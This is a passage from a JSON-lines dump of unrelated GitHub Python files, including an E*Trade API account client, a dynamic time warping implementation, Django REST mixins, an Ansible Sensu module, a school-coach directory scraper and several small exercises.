data[\"AccountListResponse\"] \\\r\n and \"Account\" in data[\"AccountListResponse\"][\"Accounts\"]:\r\n accounts = data[\"AccountListResponse\"][\"Accounts\"][\"Account\"]\r\n while True:\r\n # Display account list\r\n count = 1\r\n print(\"\\nBrokerage Account List:\")\r\n accounts[:] = [d for d in accounts if d.get('accountStatus') != 'CLOSED']\r\n for account in accounts:\r\n print_str = str(count) + \")\\t\"\r\n if account is not None and \"accountId\" in account:\r\n print_str = print_str + (account[\"accountId\"])\r\n if account is not None and \"accountDesc\" in account \\\r\n and account[\"accountDesc\"].strip() is not None:\r\n print_str = print_str + \", \" + account[\"accountDesc\"].strip()\r\n if account is not None and \"institutionType\" in account:\r\n print_str = print_str + \", \" + account[\"institutionType\"]\r\n print(print_str)\r\n count = count + 1\r\n print(str(count) + \")\\t\" \"Go Back\")\r\n\r\n # Select account option\r\n account_index = input(\"Please select an account: \")\r\n if account_index.isdigit() and 0 < int(account_index) < count:\r\n if self.base_url == \"\":\r\n self.account = accounts[int(account_index) - 1]\r\n else:\r\n self.account = accounts[int(account_index) - 1]\r\n self.account_menu()\r\n elif account_index == str(count):\r\n break\r\n else:\r\n print(\"Unknown Account Selected!\")\r\n else:\r\n # Handle errors\r\n logging.debug(\"Response Body: %s\", response.text)\r\n if response is not None and response.headers['Content-Type'] == 'application/json' \\\r\n and \"Error\" in response.json() and \"message\" in response.json()[\"Error\"] \\\r\n and response.json()[\"Error\"][\"message\"] is not None:\r\n print(\"Error: \" + data[\"Error\"][\"message\"])\r\n else:\r\n print(\"Error: AccountList API service error\")\r\n else:\r\n # Handle errors\r\n logger.debug(\"Response Body: %s\", response.text)\r\n if response is not None and response.headers['Content-Type'] == 'application/json' \\\r\n and \"Error\" in response.json() and \"message\" in response.json()[\"Error\"] \\\r\n and response.json()[\"Error\"][\"message\"] is not None:\r\n print(\"Error: \" + response.json()[\"Error\"][\"message\"])\r\n else:\r\n print(\"Error: AccountList API service error\")\r\n\r\n def portfolio(self):\r\n \"\"\"\r\n Call portfolio API to retrieve a list of positions held in the specified account\r\n\r\n :param self: Passes in parameter authenticated session and information on selected account\r\n \"\"\"\r\n\r\n # URL for the API endpoint\r\n url =self.base_url + \"/v1/accounts/\" + self.account[\"accountIdKey\"] + \"/portfolio.json\"\r\n\r\n # Make API call for GET request\r\n response = self.session.get(url, header_auth=True)\r\n logger.debug(\"Request Header: %s\", response.request.headers)\r\n\r\n print(\"\\nPortfolio:\")\r\n\r\n # Handle and parse response\r\n if response is not None and response.status_code == 200:\r\n parsed = json.loads(response.text)\r\n logger.debug(\"Response Body: %s\", json.dumps(parsed, indent=4, sort_keys=True))\r\n data = response.json()\r\n\r\n if data is not None and \"PortfolioResponse\" in data and \"AccountPortfolio\" in data[\"PortfolioResponse\"]:\r\n # Display balance information\r\n for acctPortfolio in data[\"PortfolioResponse\"][\"AccountPortfolio\"]:\r\n if acctPortfolio is not None and \"Position\" in acctPortfolio:\r\n for position in acctPortfolio[\"Position\"]:\r\n print_str = \"\"\r\n if position is not None and \"symbolDescription\" in position:\r\n print_str = print_str + \"Symbol: \" + str(position[\"symbolDescription\"])\r\n if position is not None and \"quantity\" in position:\r\n print_str = print_str + \" | \" + \"Quantity #: \" + str(position[\"quantity\"])\r\n if position is not None and \"Quick\" in position and \"lastTrade\" in position[\"Quick\"]:\r\n print_str = print_str + \" | \" + \"Last Price: \" \\\r\n + str('${:,.2f}'.format(position[\"Quick\"][\"lastTrade\"]))\r\n if position is not None and \"pricePaid\" in position:\r\n print_str = print_str + \" | \" + \"Price Paid: \" \\\r\n + str('${:,.2f}'.format(position[\"pricePaid\"]))\r\n if position is not None and \"totalGain\" in position:\r\n print_str = print_str + \" | \" + \"Total Gain: \" \\\r\n + str('${:,.2f}'.format(position[\"totalGain\"]))\r\n if position is not None and \"marketValue\" in position:\r\n print_str = print_str + \" | \" + \"Value: \" \\\r\n + str('${:,.2f}'.format(position[\"marketValue\"]))\r\n print(print_str)\r\n else:\r\n print(\"None\")\r\n else:\r\n # Handle errors\r\n logger.debug(\"Response Body: %s\", response.text)\r\n if response is not None and \"headers\" in response and \"Content-Type\" in response.headers \\\r\n and response.headers['Content-Type'] == 'application/json' \\\r\n and \"Error\" in response.json() and \"message\" in response.json()[\"Error\"] \\\r\n and response.json()[\"Error\"][\"message\"] is not None:\r\n print(\"Error: \" + response.json()[\"Error\"][\"message\"])\r\n else:\r\n print(\"Error: Portfolio API service error\")\r\n elif response is not None and response.status_code == 204:\r\n print(\"None\")\r\n else:\r\n # Handle errors\r\n logger.debug(\"Response Body: %s\", response.text)\r\n if response is not None and \"headers\" in response and \"Content-Type\" in response.headers \\\r\n and response.headers['Content-Type'] == 'application/json' \\\r\n and \"Error\" in response.json() and \"message\" in response.json()[\"Error\"] \\\r\n and response.json()[\"Error\"][\"message\"] is not None:\r\n print(\"Error: \" + response.json()[\"Error\"][\"message\"])\r\n else:\r\n print(\"Error: Portfolio API service error\")\r\n\r\n def balance(self):\r\n \"\"\"\r\n Calls account balance API to retrieve the current balance and related details for a specified account\r\n\r\n :param self: Pass in parameters authenticated session and information on selected account\r\n \"\"\"\r\n\r\n # URL for the API endpoint\r\n url = self.base_url + \"/v1/accounts/\" + self.account[\"accountIdKey\"] + \"/balance.json\"\r\n\r\n # Add parameters and header information\r\n params = {\"instType\": self.account[\"institutionType\"], \"realTimeNAV\": \"true\"}\r\n headers = {\"consumerkey\": config[\"DEFAULT\"][\"CONSUMER_KEY\"]}\r\n\r\n # Make API call for GET request\r\n response = self.session.get(url, header_auth=True, params=params, headers=headers)\r\n logger.debug(\"Request url: %s\", url)\r\n logger.debug(\"Request Header: %s\", response.request.headers)\r\n\r\n # Handle and parse response\r\n if response is not None and response.status_code == 200:\r\n parsed = json.loads(response.text)\r\n logger.debug(\"Response Body: %s\", json.dumps(parsed, indent=4, sort_keys=True))\r\n data = response.json()\r\n if data is not None and \"BalanceResponse\" in data:\r\n balance_data = data[\"BalanceResponse\"]\r\n if balance_data is not None and \"accountId\" in balance_data:\r\n print(\"\\n\\nBalance for \" + balance_data[\"accountId\"] + \":\")\r\n else:\r\n print(\"\\n\\nBalance:\")\r\n # Display balance information\r\n if balance_data is not None and \"accountDescription\" in balance_data:\r\n print(\"Account Nickname: \" + balance_data[\"accountDescription\"])\r\n if balance_data is not None and \"Computed\" in balance_data \\\r\n and \"RealTimeValues\" in balance_data[\"Computed\"] \\\r\n and \"totalAccountValue\" in balance_data[\"Computed\"][\"RealTimeValues\"]:\r\n print(\"Net Account Value: \"\r\n + str('${:,.2f}'.format(balance_data[\"Computed\"][\"RealTimeValues\"][\"totalAccountValue\"])))\r\n if balance_data is not None and \"Computed\" in balance_data \\\r\n and \"marginBuyingPower\" in balance_data[\"Computed\"]:\r\n print(\"Margin Buying Power: \" + str('${:,.2f}'.format(balance_data[\"Computed\"][\"marginBuyingPower\"])))\r\n if balance_data is not None and \"Computed\" in balance_data \\\r\n and \"cashBuyingPower\" in balance_data[\"Computed\"]:\r\n print(\"Cash Buying Power: \" + str('${:,.2f}'.format(balance_data[\"Computed\"][\"cashBuyingPower\"])))\r\n else:\r\n # Handle errors\r\n logger.debug(\"Response Body: %s\", response.text)\r\n if response is not None and response.headers['Content-Type'] == 'application/json' \\\r\n and \"Error\" in response.json() and \"message\" in response.json()[\"Error\"] \\\r\n and response.json()[\"Error\"][\"message\"] is not None:\r\n print(\"Error: \" + response.json()[\"Error\"][\"message\"])\r\n else:\r\n print(\"Error: Balance API service error\")\r\n else:\r\n # Handle errors\r\n logger.debug(\"Response Body: %s\", response.text)\r\n if response is not None and response.headers['Content-Type'] == 'application/json' \\\r\n and \"Error\" in response.json() and \"message\" in response.json()[\"Error\"] \\\r\n and response.json()[\"Error\"][\"message\"] is not None:\r\n print(\"Error: \" + response.json()[\"Error\"][\"message\"])\r\n else:\r\n print(\"Error: Balance API service error\")\r\n\r\n def account_menu(self):\r\n \"\"\"\r\n Provides the different options for the sample application: balance, portfolio, view orders\r\n\r\n :param self: Pass in authenticated session and information on selected account\r\n \"\"\"\r\n\r\n if self.account[\"institutionType\"] == \"BROKERAGE\":\r\n menu_items = {\"1\": \"Balance\",\r\n \"2\": \"Portfolio\",\r\n \"3\": \"Orders\",\r\n \"4\": \"Go Back\"}\r\n\r\n while True:\r\n print(\"\")\r\n options = menu_items.keys()\r\n for entry in options:\r\n print(entry + \")\\t\" + menu_items[entry])\r\n\r\n selection = input(\"Please select an option: \")\r\n if selection == \"1\":\r\n self.balance()\r\n elif selection == \"2\":\r\n self.portfolio()\r\n elif selection == \"3\":\r\n order = Order(self.session, self.account, self.base_url)\r\n order.view_orders()\r\n elif selection == \"4\":\r\n break\r\n else:\r\n print(\"Unknown Option Selected!\")\r\n elif self.account[\"institutionType\"] == \"BANK\":\r\n menu_items = {\"1\": \"Balance\",\r\n \"2\": \"Go Back\"}\r\n\r\n while True:\r\n print(\"\\n\")\r\n options = menu_items.keys()\r\n for entry in options:\r\n print(entry + \")\\t\" + menu_items[entry])\r\n\r\n selection = input(\"Please select an option: \")\r\n if selection == \"1\":\r\n self.balance()\r\n elif selection == \"2\":\r\n break\r\n else:\r\n print(\"Unknown Option Selected!\")\r\n else:\r\n menu_items = {\"1\": \"Go Back\"}\r\n\r\n while True:\r\n print(\"\")\r\n options = menu_items.keys()\r\n for entry in options:\r\n print(entry + \")\\t\" + menu_items[entry])\r\n\r\n selection = input(\"Please select an option: \")\r\n if selection == \"1\":\r\n break\r\n else:\r\n print(\"Unknown Option Selected!\")\r\n\r\n\r\n","repo_name":"MrGrape-21/etraderLoginGui","sub_path":"etradeaccount.py","file_name":"etradeaccount.py","file_ext":"py","file_size_in_byte":18482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34619600909","text":"from random import randrange as rnd\nA=[rnd(-10,5) for i in range(10)]\nprint(A)\nM=A[0]\nfor x in A:\n if x>M:\n M=x\ndel A[M]\nprint(A)\n\n\n\n\n","repo_name":"mariyakovleva/homework","sub_path":"task_41.py","file_name":"task_41.py","file_ext":"py","file_size_in_byte":144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74147097332","text":"from torchtext import data\n\nclass TrecDataset(data.TabularDataset):\n dirname = 'data'\n @classmethod\n\n def splits(cls, question_id, question_field, answer_field, external_field, label_field, root='.data',\n train='trecqa.train.tsv', validation='trecqa.dev.tsv', test='trecqa.test.tsv'):\n path = './data'\n return super(TrecDataset, cls).splits(\n path, root, train, validation, test,\n format='TSV', fields=[('qid', question_id), ('label', label_field), ('question', question_field),\n ('answer', answer_field), ('ext_feat', external_field)]\n )\n","repo_name":"castorini/castor","sub_path":"sm_cnn/trec_dataset.py","file_name":"trec_dataset.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":179,"dataset":"github-code","pt":"21"} +{"seq_id":"74815881011","text":"import random\nfrom numpy import inf\nfrom sparseDTW import sparseDTW, window_sparseDTW\n\nclass DC_sparseDTW(sparseDTW):\n\n def __init__(self, seq_a, seq_b, window_size=inf, res = .5, radius = 1):\n sparseDTW.__init__(self, seq_a, seq_b, window_size, res)\n self.radius = radius\n self.count = 0\n if self.dim != 1:\n self.seq_a = self.normalize(self.seq_a)\n self.seq_b = self.normalize(self.seq_b)\n\n def fastDTW(self, seq_a, seq_b, radius):\n if len(seq_a[0]) < radius + 2 or len(seq_b[0]) < radius + 2:\n return window_sparseDTW(seq_a, seq_b, self.w, self.res)()\n a_merged = self.merge(seq_a)\n b_merged = self.merge(seq_b)\n path = self.fastDTW(a_merged, b_merged, radius)\n window = self.expand_window(path, len(seq_a[0]), len(seq_b[0]), self.radius)\n dtw = window_sparseDTW(seq_a, seq_b, self.w, self.res, window)\n new_path = dtw()\n self.matrix = dtw.matrix\n self.count = dtw.count_matrix()\n return new_path\n\n def merge(self, seq):\n seq = [[(seq[dim][i] + seq[dim][i+1])/2 for i in range(0, len(seq[0]) - len(seq[0]) % 2, 2)] for dim in range(self.dim)]\n return seq\n\n def expand_window(self, path, len_x, len_y, radius):\n path_ = set(path)\n for i, j in path:\n for a, b in ((i + a, j + b)\n for a in range(-radius, radius + 1)\n for b in range(-radius, radius + 1)):\n path_.add((a, b))\n\n window_ = set()\n for i, j in path_:\n for a, b in ((i * 2, j * 2), (i * 2, j * 2 + 1),\n (i * 2 + 1, j * 2), (i * 2 + 1, j * 2 + 1)):\n window_.add((a, b))\n\n window = []\n start_j = 0\n for i in range(0, len_x):\n new_start_j = None\n for j in range(start_j, len_y):\n if (i, j) in window_:\n window.append((i, j))\n if new_start_j is None:\n new_start_j = j\n elif new_start_j is not None:\n break\n start_j = new_start_j\n\n return window\n\n def distance(self):\n return self.matrix[-1, -1]\n\n def __call__(self, *args, **kwargs):\n return self.fastDTW(self.seq_a, self.seq_b, self.radius)\n\nif __name__ == '__main__':\n seq1_dim = random.randint(1, 10)\n seq1_length_a = random.randint(10, 20)\n seq1_length_b = random.randint(10, 20)\n seq1_a = [[random.uniform(1, 10) for _ in range(seq1_length_a)] for _ in range(seq1_dim)]\n seq1_b = [[random.uniform(1, 10) for _ in range(seq1_length_b)] for _ in range(seq1_dim)]\n fdtw = DC_sparseDTW(seq1_a, seq1_b, 15, 1)\n print(fdtw())\n print(fdtw.count_matrix())\n print(fdtw.to_array())","repo_name":"123123123nhc/DC_sparseDTW","sub_path":"dtw/DC_sparseDTW.py","file_name":"DC_sparseDTW.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6513749311","text":"import urllib\nimport time\n\ndef getSchoolName(stringPage):#get name of school from h1 tags\n\tschoolNameIndex = stringPage.find(\"

\") + len(\"

\")#move to start of school name\n\t#print(stringPage[schoolNameIndex])\n\tschoolNameEndIndex = stringPage.find(\"

\", schoolNameIndex)\n\treturn(stringPage[schoolNameIndex:schoolNameEndIndex])\n\n\ndef getCoachInfo(stringPage):#get coach name and email by searching for sport name\n\n\tcoachNameIndex = stringPage.find(\"Boys Wrestling\")\n\tif(coachNameIndex == -1):#exit function with empty return code if school does not have sport\n\t\treturn(\"\")\n\tcoachNameIndex += len(\"Boys Wrestling Head Coach: \")#move to start of coach name\n\tcoachNameEndIndex = stringPage.find('&', coachNameIndex)\n\tcoachName = stringPage[coachNameIndex:coachNameEndIndex]\n\t\n\tif(coachName.find(\"TBA\")!=-1):\n\t\treturn(\"\")#if coach is TBA, skip school\n\n\t\n\tcoachEmailIndex = coachNameEndIndex + len(\" 5):#wait until 5 404s in a row to go on to next letter\n\t\t\tbreak\n\t\t\t\n\t\ttime.sleep(.1)\n\t\tif(subNum<10):#pad num2 to 2 digits minimum\n\t\t\tnum2 = \"0\"+str(subNum)\n\t\telse:\n\t\t\tnum2 = str(subNum)\n\n\t\t#print(num1, num2)\n\t\t\n\t\tsubNum += 1\n\t\tURL = \"https://www.ihsa.org/data/school/schools/\"+num1+num2+\".htm\"\n\t\tpage = urllib.urlopen(URL)\n\t\tstringPage = page.read()#.decode(\"utf-8\")#load webpage as string\n\t\t\n\t\tif(stringPage.find(\"The page you are attempting to view has not been posted yet\")!=-1):#move onto next letter once url 404s\n\t\t\t#print(\"404d \"+URL)\n\t\t\tcount404 += 1\n\t\t\tcontinue\n\t\telse:\n\t\t\tcount404 = 0#reset counter if no 404\n\t\t\n\t\t\n\t\tcoachName = getCoachInfo(stringPage)\n\t\tif(coachName==\"\"):\n\t\t\t#print(\"skipped school\")\n\t\t\tcontinue#skip school if no sport\n\t\tschoolName = getSchoolName(stringPage)\n\t\t\n\t\t#print(schoolName + \", \"+coachName)\n\t\tfinal_txt.write(schoolName + \", \"+coachName+\"\\n\")\n\nfinal_txt.close()\n","repo_name":"elsxf/CoachScraper","sub_path":"ihsa.py","file_name":"ihsa.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"21853821320","text":"# pylint: disable=E0401\n\"\"\"\nInit file with Scale details like license version, and author\n\"\"\"\nfrom snake.scale import FileType, scale\n\nNAME = \"malwarebazaar\"\nVERSION = \"0.1\"\n\nAUTHOR = \"Peter Zuidema\"\nAUTHOR_EMAIL = \"peter@icebear.net\"\n\nDESCRIPTION = \"A module to interface with abuse.ch MalwareBazaar\"\n\nLICENSE = \"https://github.com/srcr/malwarebazaar-scale/blob/master/LICENSE\"\n\nURL = \"https://github.com/srcr/malwarebazaar-scale\"\n\n\n__scale__ = scale(\n name=NAME,\n description=DESCRIPTION,\n version=VERSION,\n author=AUTHOR,\n supports=[\n FileType.FILE\n ],\n)\n","repo_name":"srcr/malwarebazaar","sub_path":"malwarebazaar/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"42876416115","text":"\nlista = []\nwhile len(lista) == 0 or lista[-1] != \"fim\" :\n per =input(\"Digite uma palavra: \")\n if len(per) > 0 and per[0] == \"a\" :\n lista.append(per)\nt = 0\nwhile t < len(lista):\n print(lista[t])\n t +=1\n ","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_270/ch42_2020_03_25_20_39_01_848829.py","file_name":"ch42_2020_03_25_20_39_01_848829.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40995573409","text":"import openpyxl\r\nclass HomePageData:\r\n\r\n test_HomePage_data= [{\"FirstName\":\"Basava\",\"Email\": \"Basavana003\",\"Gender\": \"Male\"}, {\"FirstName\":\"Jadeyappa\",\"Email\":\"Gouda\", \"Gender\":\"Male\"}]\r\n\r\n @staticmethod\r\n def getTestData(test_case_name):\r\n dict = {}\r\n path = \"C:\\\\Users\\\\Lenovo\\\\Desktop\\\\Revolution_2021\\\\123.xlsx\"\r\n workbook = openpyxl.load_workbook(path)\r\n sheet = workbook.active\r\n row = sheet.max_row\r\n print(row)\r\n column = sheet.max_column\r\n print(column)\r\n for r in range(1, row + 1):\r\n if sheet.cell(row=r, column=1).value ==test_case_name:\r\n for c in range(2, column + 1):\r\n dict[sheet.cell(row=1, column=c).value] = sheet.cell(row=r, column=c).value\r\n return [dict]","repo_name":"basavangouda/Pytest_Framework","sub_path":"pageObjects/TestData/HomePageData.py","file_name":"HomePageData.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8156989701","text":"# Problem 1 - Multiples of 3 and 5\r\n\"\"\"\r\n If we list all the natural numbers below 10 that are multiples of 3 or 5,\r\n we get 3, 5, 6 and 9. The sum of these multiples is 23.\r\n Find the sum of all the multiples of 3 or 5 below 1000.\r\n\r\nLet 3k be a integer multiple of 3 and 5k be a integer multiple of 5.\r\nIf then x = [1:1000], \r\n\r\n\"\"\"\r\n\r\nsumSet = []\r\ntotal = 0\r\n\r\nfor x in range(1, 1000):\r\n\tif x%3 == 0:\r\n\t\t#print(x)\r\n\t\tsumSet.append(x)\r\n\r\n\tif x%5 == 0 and x%3 != 0:\r\n\t\t#print(x)\r\n\t\tsumSet.append(x)\r\n\r\nprint(sumSet)\r\n\r\nfor num in sumSet:\r\n\ttotal += num\r\n\r\nprint(total)","repo_name":"mdanlowski/Project-Euler-Problems","sub_path":"problem1.py","file_name":"problem1.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31465290850","text":"import re\n\nfrom django.utils.functional import cached_property\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.settings import api_settings\n\n\ndef _resolve(*fields, tree=None):\n tree = tree or {}\n\n for field in fields:\n field, *nested = field\n\n if not nested:\n tree[field] = None\n continue\n\n tree[field] = _resolve(nested, tree=tree.get(field, {}))\n\n return tree\n\n\ndef resolve_fields(fields):\n return _resolve(*map(lambda x: x.strip().split(\".\"), fields.split(\",\")))\n\n\nclass PartialViewSetMixin:\n fields_url_kwarg = \"fields\"\n resolver_suffix = \"queryset_resolver\"\n\n @cached_property\n def partial_fields(self):\n fields = self.request.GET.get(self.fields_url_kwarg)\n\n if not fields:\n return None\n\n return resolve_fields(fields)\n\n def get_serializer_context(self):\n context = super().get_serializer_context()\n context[\"fields\"] = self.partial_fields\n return context\n\n def _get_field_resolvers(self, field):\n \"\"\"\n Returns all specific field resolvers to nested fields.\n \"\"\"\n nested_re = re.compile(\n r\"{field}_(.+)_{suffix}\".format(field=field, suffix=self.resolver_suffix)\n )\n\n return filter(lambda x: bool(nested_re.match(x)), dir(self))\n\n def resolve_queryset_fields(self, queryset, fields, prefix=None):\n prefix = prefix or \"\"\n\n for field, nested in fields.items():\n field = f\"{prefix}_{field}\" if prefix else field\n resolver = getattr(self, f\"{field}_{self.resolver_suffix}\", None)\n\n if resolver is not None:\n queryset = resolver(queryset)\n\n if not nested:\n\n for resolver in self._get_field_resolvers(field):\n queryset = getattr(self, resolver)(queryset)\n\n continue\n\n queryset = self.resolve_queryset_fields(queryset, nested, prefix=field)\n\n return queryset\n\n def resolve_all_fields(self, queryset):\n for resolver in filter(lambda x: x.endswith(\"_queryset_resolver\"), dir(self)):\n resolver = getattr(self, resolver)\n queryset = resolver(queryset)\n return queryset\n\n def get_queryset(self):\n queryset = super().get_queryset()\n\n if self.partial_fields:\n return self.resolve_queryset_fields(queryset, self.partial_fields)\n\n return self.resolve_all_fields(queryset)\n\n\nclass CreateModelMixin:\n \"\"\"\n Create a model instance.\n \"\"\"\n\n create_serializer_class = None\n create_response_serializer_class = None\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(\n data=request.data, serializer_class=self.create_serializer_class\n )\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n\n # prepare response.\n serializer = self.get_serializer(\n instance=serializer.instance,\n serializer_class=self.create_response_serializer_class,\n )\n\n headers = self.get_success_headers(serializer.data)\n return Response(\n serializer.data, status=status.HTTP_201_CREATED, headers=headers\n )\n\n def perform_create(self, serializer):\n serializer.save()\n\n def get_success_headers(self, data):\n try:\n return {\"Location\": str(data[api_settings.URL_FIELD_NAME])}\n except (TypeError, KeyError):\n return {}\n\n\nclass ListModelMixin:\n \"\"\"\n List a queryset.\n \"\"\"\n\n list_response_serializer_class = None\n\n def list(self, request, *args, **kwargs):\n queryset = self.filter_queryset(self.get_queryset())\n\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = self.get_serializer(\n page, many=True, serializer_class=self.list_response_serializer_class\n )\n return self.get_paginated_response(serializer.data)\n\n serializer = self.get_serializer(\n queryset, many=True, serializer_class=self.list_response_serializer_class\n )\n return Response(serializer.data)\n\n\nclass RetrieveModelMixin:\n \"\"\"\n Retrieve a model instance.\n \"\"\"\n\n retrieve_response_serializer_class = None\n\n def retrieve(self, request, *args, **kwargs):\n instance = self.get_object()\n serializer = self.get_serializer(\n instance, serializer_class=self.retrieve_response_serializer_class\n )\n return Response(serializer.data)\n\n\nclass UpdateModelMixin:\n \"\"\"\n Update a model instance.\n \"\"\"\n\n update_serializer_class = None\n update_response_serializer_class = None\n\n def update(self, request, *args, **kwargs):\n partial = kwargs.pop(\"partial\", False)\n instance = self.get_object()\n serializer = self.get_serializer(\n instance,\n data=request.data,\n partial=partial,\n serializer_class=self.update_serializer_class,\n )\n\n serializer.is_valid(raise_exception=True)\n self.perform_update(serializer)\n\n if getattr(instance, \"_prefetched_objects_cache\", None):\n # If 'prefetch_related' has been applied to a queryset, we need to\n # forcibly invalidate the prefetch cache on the instance.\n setattr(instance, \"_prefetched_objects_cache\", {})\n\n serializer = self.get_serializer(\n instance=instance, serializer_class=self.update_response_serializer_class\n )\n return Response(serializer.data)\n\n def perform_update(self, serializer):\n serializer.save()\n\n def partial_update(self, request, *args, **kwargs):\n kwargs[\"partial\"] = True\n return self.update(request, *args, **kwargs)\n\n\nclass DestroyModelMixin:\n \"\"\"\n Destroy a model instance.\n \"\"\"\n\n def destroy(self, request, *args, **kwargs):\n instance = self.get_object()\n self.perform_destroy(instance)\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n def perform_destroy(self, instance):\n instance.delete()\n","repo_name":"arturgoms/billogram-challenge","sub_path":"src/commons/api/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":6174,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31634903420","text":"from __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\nANSIBLE_METADATA = {\n \"metadata_version\": \"1.1\",\n \"status\": [\"stableinterface\"],\n \"supported_by\": \"certified\",\n}\n\nDOCUMENTATION = '''\nmodule: role_binding\nauthor:\n - Paul Arthur (@flowerysong)\n - Manca Bizjak (@mancabizjak)\n - Aljaz Kosir (@aljazkosir)\n - Tadej Borovsak (@tadeboro)\nshort_description: Manage Sensu role bindings\ndescription:\n - Create, update or delete Sensu role binding.\n - For more information, refer to the Sensu documentation at\n U(https://docs.sensu.io/sensu-go/latest/reference/rbac/#role-bindings-and-cluster-role-bindings).\nversion_added: 1.0.0\nextends_documentation_fragment:\n - sensu.sensu_go.requirements\n - sensu.sensu_go.auth\n - sensu.sensu_go.name\n - sensu.sensu_go.namespace\n - sensu.sensu_go.state\nseealso:\n - module: sensu.sensu_go.role_binding_info\n - module: sensu.sensu_go.role\n - module: sensu.sensu_go.cluster_role\n - module: sensu.sensu_go.cluster_role_binding\noptions:\n role:\n description:\n - Name of the role.\n - This parameter is mutually exclusive with I(cluster_role).\n type: str\n cluster_role:\n description:\n - Name of the cluster role. Note that the resulting role\n binding grants the cluster role to the provided users and\n groups in the context of I(auth.namespace) only.\n - This parameter is mutually exclusive with I(role).\n type: str\n users:\n description:\n - List of users to bind to the role or cluster role.\n - Note that at least one of I(users) and I(groups) must be\n specified when creating a role binding.\n type: list\n elements: str\n groups:\n description:\n - List of groups to bind to the role or cluster role.\n - Note that at least one of I(users) and I(groups) must be\n specified when creating a role binding.\n type: list\n elements: str\n'''\n\nEXAMPLES = '''\n- name: Create a role binding\n sensu.sensu_go.role_binding:\n name: dev_and_testing\n role: testers_permissive\n groups:\n - testers\n - dev\n - ops\n users:\n - alice\n\n- name: Create a role binding for admins\n sensu.sensu_go.role_binding:\n name: org-admins\n cluster_role: admin\n groups:\n - team1-admins\n - team2-admins\n\n- name: Delete a role binding\n sensu.sensu_go.role_binding:\n name: org-admins\n state: absent\n'''\n\nRETURN = '''\nobject:\n description: Object representing Sensu role binding.\n returned: success\n type: dict\n sample:\n metadata:\n name: event-reader-binding\n namespace: default\n role_ref:\n name: event-reader\n type: Role\n subjects:\n - name: bob\n type: User\n'''\n\nfrom ansible.module_utils.basic import AnsibleModule\n\nfrom ..module_utils import arguments, errors, utils, role_utils\n\n\ndef infer_role(params):\n if params[\"role\"]:\n return \"Role\", params[\"role\"]\n return \"ClusterRole\", params[\"cluster_role\"]\n\n\ndef build_api_payload(params):\n payload = arguments.get_mutation_payload(params)\n payload[\"subjects\"] = role_utils.build_subjects(params[\"groups\"], params[\"users\"])\n payload[\"role_ref\"] = role_utils.type_name_dict(*infer_role(params))\n\n return payload\n\n\ndef main():\n required_if = [\n (\"state\", \"present\", [\"role\", \"cluster_role\"], True) # True means any of role, cluster_role\n ]\n mutually_exclusive = [\n [\"role\", \"cluster_role\"]\n ]\n module = AnsibleModule(\n required_if=required_if,\n mutually_exclusive=mutually_exclusive,\n supports_check_mode=True,\n argument_spec=dict(\n arguments.get_spec(\"auth\", \"name\", \"state\", \"namespace\"),\n role=dict(),\n cluster_role=dict(),\n users=dict(\n type=\"list\", elements=\"str\",\n ),\n groups=dict(\n type=\"list\", elements=\"str\",\n ),\n )\n )\n\n msg = role_utils.validate_binding_module_params(module.params)\n if msg:\n module.fail_json(msg=msg)\n\n client = arguments.get_sensu_client(module.params[\"auth\"])\n path = utils.build_core_v2_path(\n module.params[\"namespace\"], \"rolebindings\", module.params[\"name\"],\n )\n payload = build_api_payload(module.params)\n\n try:\n changed, role_binding = utils.sync(\n module.params[\"state\"], client, path, payload, module.check_mode, role_utils.do_role_bindings_differ\n )\n module.exit_json(changed=changed, object=role_binding)\n except errors.Error as e:\n module.fail_json(msg=str(e))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"sensu/sensu-go-ansible","sub_path":"plugins/modules/role_binding.py","file_name":"role_binding.py","file_ext":"py","file_size_in_byte":4603,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"21"} +{"seq_id":"74443770612","text":"import difflib\r\n\r\nlines1 = \"\"\"\r\ndog\r\ncat\r\nbird\r\nbuffalo\r\ngophers\r\nhound\r\nhorse\r\n\"\"\".strip().splitlines()\r\n\r\nlines2 = \"\"\"\r\ncat\r\ndog\r\nbird\r\nbuffalo\r\ngopher\r\nhorse\r\nmouse\r\n\"\"\".strip().splitlines()\r\n\r\n# Changes:\r\n# swapped positions of cat and dog\r\n# changed gophers to gopher\r\n# removed hound\r\n# added mouse\r\n\r\nfor line in difflib.unified_diff(\r\n lines1, lines2, fromfile=\"file1\", tofile=\"file2\", lineterm=\"\", n=0\r\n):\r\n print(line)\r\n","repo_name":"Ayushd70/college-assignments","sub_path":"IT-Lab/assignment-13/codes/9.py","file_name":"9.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"34123753213","text":"#!usr/bin/python3\r\n\r\n# python sdftosmiles.py 